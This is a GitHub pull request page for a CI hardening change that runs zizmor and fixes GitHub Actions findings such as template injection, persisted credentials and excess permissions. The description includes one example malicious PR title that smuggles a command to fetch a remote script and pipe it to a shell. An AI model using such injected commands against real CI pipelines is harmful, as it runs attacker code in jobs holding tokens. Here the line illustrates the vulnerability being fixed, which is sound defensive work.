ci: [SC-66825] run zizmor and fix GitHub Actions findings - #60
Merged
Conversation
|
You are seeing this message because GitHub Code Scanning has recently been set up for this repository, or this pull request contains the workflow file for the Code Scanning tool. What Enabling Code Scanning Means:
For more information about GitHub Code Scanning, check out the documentation. |
There was a problem hiding this comment.
Pull request overview
Adds zizmor-based GitHub Actions hardening to CI and applies workflow-level changes to eliminate or suppress zizmor findings across the repository’s existing workflows.
Changes:
- Introduces a dedicated
zizmorworkflow to run GitHub Actions security analysis in CI. - Hardens release/tag workflows against template injection by routing attacker-controlled / user-provided values through
env:and using shell variables. - Adjusts workflow credentials/permissions handling (e.g.,
persist-credentials: false, explicitpermissions, removal ofsecrets: inherit) and documents/suppresses a small number of justified findings.
Reviewed changes
Copilot reviewed 6 out of 6 changed files in this pull request and generated 2 comments.
Show a summary per file
| File | Description |
|---|---|
| .github/workflows/zizmor.yml | Adds a CI workflow to run zizmor and upload SARIF results. |
| .github/workflows/tag_and_release.yml | Fixes template-injection findings; scopes permissions; replaces third-party release action with gh. |
| .github/workflows/release.yml | Fixes template-injection findings in sed invocations; documents why credentials must persist for release PR creation. |
| .github/workflows/pypi-release.yml | Disables persisted checkout credentials for a build/upload-only job; documents and suppresses trusted-publishing finding. |
| .github/workflows/codeql.yml | Disables persisted checkout credentials for CodeQL workflow. |
| .github/workflows/backup-daily.yml | Scopes permissions and removes secrets: inherit from the reusable-workflow invocation. |
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
Adds a zizmor CI workflow modeled on narrative-skills-marketplace
(PR #108) and fixes the findings it reports.
template-injection (3 high, 3 low):
- tag_and_release.yml expanded the pull request title straight into a
run: script. The title is attacker-controlled -- anyone who can open
a PR picks it -- so a title carrying shell metacharacters became
executable text in a job that pushes tags. Now routed through env:.
- release.yml expanded a workflow_dispatch input into two sed scripts.
Both now go through env:. The sed scripts were re-quoted from single
to double quotes; the resulting script strings are byte-identical,
verified by comparison.
- The remaining low findings were ${{ env.VERSION }} expansions;
VERSION already reaches those steps via GITHUB_ENV, so they now use
the plain shell variable.
artipacked:
- codeql.yml and pypi-release.yml get persist-credentials: false;
neither pushes via git.
- release.yml and tag_and_release.yml keep their credentials and carry
a justified suppression: create-pull-request and 'git push' both
need them.
excessive-permissions:
- tag_and_release.yml had no permissions block; scoped to
contents: write.
- backup-daily.yml scoped to contents: read, and drops secrets:
inherit (secrets-inherit).
- pypi-release.yml listed only id-token: write. A job-level
permissions block sets every scope it does not list to none, so
GITHUB_TOKEN had contents: none while actions/checkout needs
contents: read. Pre-existing, and the workflow has never run, so it
was never exercised. Raised in review on PR #60.
superfluous-actions is suppressed: replacing action-gh-release with
'gh release create' would change the release path, which is out of
scope for this sweep.
use-trusted-publishing is suppressed with a written justification;
switching pypi-release.yml to the action's built-in OIDC exchange can
only be validated by cutting a real release, so it is left as a
follow-up recorded in the pull request description.
mbabic
force-pushed
the
ci/sc-66825/zizmor-ci-and-actions-hardening
branch
from
August 18, 2026 20:33
f320ae1 to
e99d5e0
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Runs zizmor in CI and fixes the findings it reports. Part of sc-66825; modeled on
narrative-skills-marketplacePR #108, the reference implementation for this ticket.This was the largest of the five repos — 15 findings, and the only one needing real per-workflow judgment rather than a mechanical pattern.
Findings fixed
template-injection×3tag_and_release.yml,release.yml×2env:template-injection×3tag_and_release.ymlartipacked×2codeql.yml,pypi-release.ymlpersist-credentials: falseartipacked×2release.yml,tag_and_release.ymlexcessive-permissions×2tag_and_release.yml,backup-daily.ymlpermissions:secrets-inheritbackup-daily.ymlsecrets: inheritsuperfluous-actionstag_and_release.ymlghuse-trusted-publishingpypi-release.ymlAll three highs are genuinely fixed.
tag_and_release.ymlexpanded the pull request title directly into arun:script:VERSION=$(echo "${{ github.event.pull_request.title }}" | grep -oE "...")The runner substitutes
${{ }}into the script text before bash ever sees it, and a PR title is chosen by whoever opens the PR. A title likex"; curl evil.sh | sh; "becomes executable code in a job that holds a token and pushes tags. It's gated behind a maintainer merging with areleaselabel, which narrows it but doesn't close it — the title is still attacker-authored. Now routed throughenv:so the value stays data.The other two highs are
workflow_dispatchinputs expanded intosedscripts inrelease.yml. Triggering that takes write access, so the practical risk is lower, but an input interpolated into a script is executable text regardless of who supplies it.On the
sedre-quoting: moving the value out of the expression forced those scripts from single to double quotes, which changes escaping semantics. I verified the old and new scripts expand to byte-identical strings rather than eyeballing it: